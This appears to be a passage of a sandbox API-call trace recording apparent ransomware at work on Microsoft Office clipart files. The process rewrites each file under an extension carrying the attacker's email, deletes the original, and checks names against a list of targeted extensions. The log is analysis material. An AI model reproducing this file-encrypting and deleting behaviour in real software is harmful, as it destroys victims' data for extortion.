lpNewFilePointer=0x0) returned 1 [0209.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.959] GetLastError () returned 0x0 [0209.959] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x2d14, lpOverlapped=0x0) returned 1 [0209.960] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x2d20, lpOverlapped=0x0) returned 1 [0209.962] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.962] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.962] SetEndOfFile (hFile=0x368) returned 1 [0209.962] CloseHandle (hObject=0x368) returned 1 [0209.962] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.962] SetEndOfFile (hFile=0x35c) returned 1 [0209.963] CloseHandle (hObject=0x35c) returned 1 [0209.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0209.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.964] lstrlenW (lpString=".doc") returned 4 [0209.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.964] lstrlenW (lpString=".docx") returned 5 [0209.964] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.964] lstrlenW (lpString=".pdf") returned 4 [0209.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.964] lstrlenW (lpString=".xls") returned 4 [0209.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.964] lstrlenW (lpString=".xlsx") returned 5 [0209.964] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.964] lstrlenW (lpString=".ppt") returned 4 [0209.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.964] lstrlenW (lpString=".zip") returned 4 [0209.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.965] lstrlenW (lpString=".rar") returned 4 [0209.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.965] lstrlenW (lpString=".bz2") returned 4 [0209.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.965] lstrlenW (lpString=".7z") returned 3 [0209.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.965] lstrlenW (lpString=".dbf") returned 4 [0209.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.965] lstrlenW (lpString=".1cd") returned 4 [0209.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.965] lstrlenW (lpString=".jpg") returned 4 [0209.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.965] lstrlenW (lpString=".doc") returned 4 [0209.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.965] lstrlenW (lpString=".docx") returned 5 [0209.965] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.965] lstrlenW (lpString=".pdf") returned 4 [0209.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.965] lstrlenW (lpString=".xls") returned 4 [0209.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.965] lstrlenW (lpString=".xlsx") returned 5 [0209.965] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.965] lstrlenW (lpString=".ppt") returned 4 [0209.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.966] lstrlenW (lpString=".zip") returned 4 [0209.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.966] lstrlenW (lpString=".rar") returned 4 [0209.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.966] lstrlenW (lpString=".bz2") returned 4 [0209.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.966] lstrlenW (lpString=".7z") returned 3 [0209.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.966] lstrlenW (lpString=".dbf") returned 4 [0209.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.966] lstrlenW (lpString=".1cd") returned 4 [0209.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0209.966] lstrlenW (lpString=".jpg") returned 4 [0209.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.966] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.966] lstrlenW (lpString="J0105282.WMF") returned 12 [0209.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.967] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=4796) returned 1 [0209.967] CloseHandle (hObject=0x35c) returned 1 [0209.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220 [0209.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.968] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.968] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.969] GetLastError () returned 0x0 [0209.969] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x12bc, lpOverlapped=0x0) returned 1 [0209.970] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0209.971] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.971] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.971] SetEndOfFile (hFile=0x368) returned 1 [0209.972] CloseHandle (hObject=0x368) returned 1 [0209.972] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.972] SetEndOfFile (hFile=0x35c) returned 1 [0209.973] CloseHandle (hObject=0x35c) returned 1 [0209.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0209.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.973] lstrlenW (lpString=".doc") returned 4 [0209.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.974] lstrlenW (lpString=".docx") returned 5 [0209.974] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.974] lstrlenW (lpString=".pdf") returned 4 [0209.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.974] lstrlenW (lpString=".xls") returned 4 [0209.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.974] lstrlenW (lpString=".xlsx") returned 5 [0209.974] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.974] lstrlenW (lpString=".ppt") returned 4 [0209.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.974] lstrlenW (lpString=".zip") returned 4 [0209.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.974] lstrlenW (lpString=".rar") returned 4 [0209.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.974] lstrlenW (lpString=".bz2") returned 4 [0209.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.974] lstrlenW (lpString=".7z") returned 3 [0209.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.974] lstrlenW (lpString=".dbf") returned 4 [0209.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.974] lstrlenW (lpString=".1cd") returned 4 [0209.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.974] lstrlenW (lpString=".jpg") returned 4 [0209.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.975] lstrlenW (lpString=".doc") returned 4 [0209.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.975] lstrlenW (lpString=".docx") returned 5 [0209.975] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.975] lstrlenW (lpString=".pdf") returned 4 [0209.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.975] lstrlenW (lpString=".xls") returned 4 [0209.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.975] lstrlenW (lpString=".xlsx") returned 5 [0209.975] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.975] lstrlenW (lpString=".ppt") returned 4 [0209.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.975] lstrlenW (lpString=".zip") returned 4 [0209.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.975] lstrlenW (lpString=".rar") returned 4 [0209.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.975] lstrlenW (lpString=".bz2") returned 4 [0209.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.975] lstrlenW (lpString=".7z") returned 3 [0209.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.975] lstrlenW (lpString=".dbf") returned 4 [0209.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.975] lstrlenW (lpString=".1cd") returned 4 [0209.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0209.975] lstrlenW (lpString=".jpg") returned 4 [0209.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.976] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.976] lstrlenW (lpString="J0105286.WMF") returned 12 [0209.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.976] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=6568) returned 1 [0209.976] CloseHandle (hObject=0x35c) returned 1 [0209.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220 [0209.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.977] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.977] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.978] GetLastError () returned 0x0 [0209.978] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x19a8, lpOverlapped=0x0) returned 1 [0209.980] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0209.981] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.981] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.981] SetEndOfFile (hFile=0x368) returned 1 [0209.981] CloseHandle (hObject=0x368) returned 1 [0209.981] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.982] SetEndOfFile (hFile=0x35c) returned 1 [0209.982] CloseHandle (hObject=0x35c) returned 1 [0209.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0209.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.984] lstrlenW (lpString=".doc") returned 4 [0209.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.984] lstrlenW (lpString=".docx") returned 5 [0209.984] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0209.984] lstrlenW (lpString=".pdf") returned 4 [0209.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.984] lstrlenW (lpString=".xls") returned 4 [0209.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.984] lstrlenW (lpString=".xlsx") returned 5 [0209.984] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0209.984] lstrlenW (lpString=".ppt") returned 4 [0209.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.984] lstrlenW (lpString=".zip") returned 4 [0209.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.984] lstrlenW (lpString=".rar") returned 4 [0209.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.984] lstrlenW (lpString=".bz2") returned 4 [0209.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.984] lstrlenW (lpString=".7z") returned 3 [0209.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.984] lstrlenW (lpString=".dbf") returned 4 [0209.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.985] lstrlenW (lpString=".1cd") returned 4 [0209.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.985] lstrlenW (lpString=".jpg") returned 4 [0209.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.985] lstrlenW (lpString=".doc") returned 4 [0209.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.985] lstrlenW (lpString=".docx") returned 5 [0209.985] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0209.985] lstrlenW (lpString=".pdf") returned 4 [0209.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.985] lstrlenW (lpString=".xls") returned 4 [0209.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.985] lstrlenW (lpString=".xlsx") returned 5 [0209.985] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0209.985] lstrlenW (lpString=".ppt") returned 4 [0209.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.985] lstrlenW (lpString=".zip") returned 4 [0209.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.985] lstrlenW (lpString=".rar") returned 4 [0209.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.985] lstrlenW (lpString=".bz2") returned 4 [0209.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.985] lstrlenW (lpString=".7z") returned 3 [0209.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.986] lstrlenW (lpString=".dbf") returned 4 [0209.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.986] lstrlenW (lpString=".1cd") returned 4 [0209.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0209.986] lstrlenW (lpString=".jpg") returned 4 [0209.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.986] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.986] lstrlenW (lpString="J0105288.WMF") returned 12 [0209.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.986] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=15832) returned 1 [0209.986] CloseHandle (hObject=0x35c) returned 1 [0209.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220 [0209.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.987] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.987] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.988] GetLastError () returned 0x0 [0209.988] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, 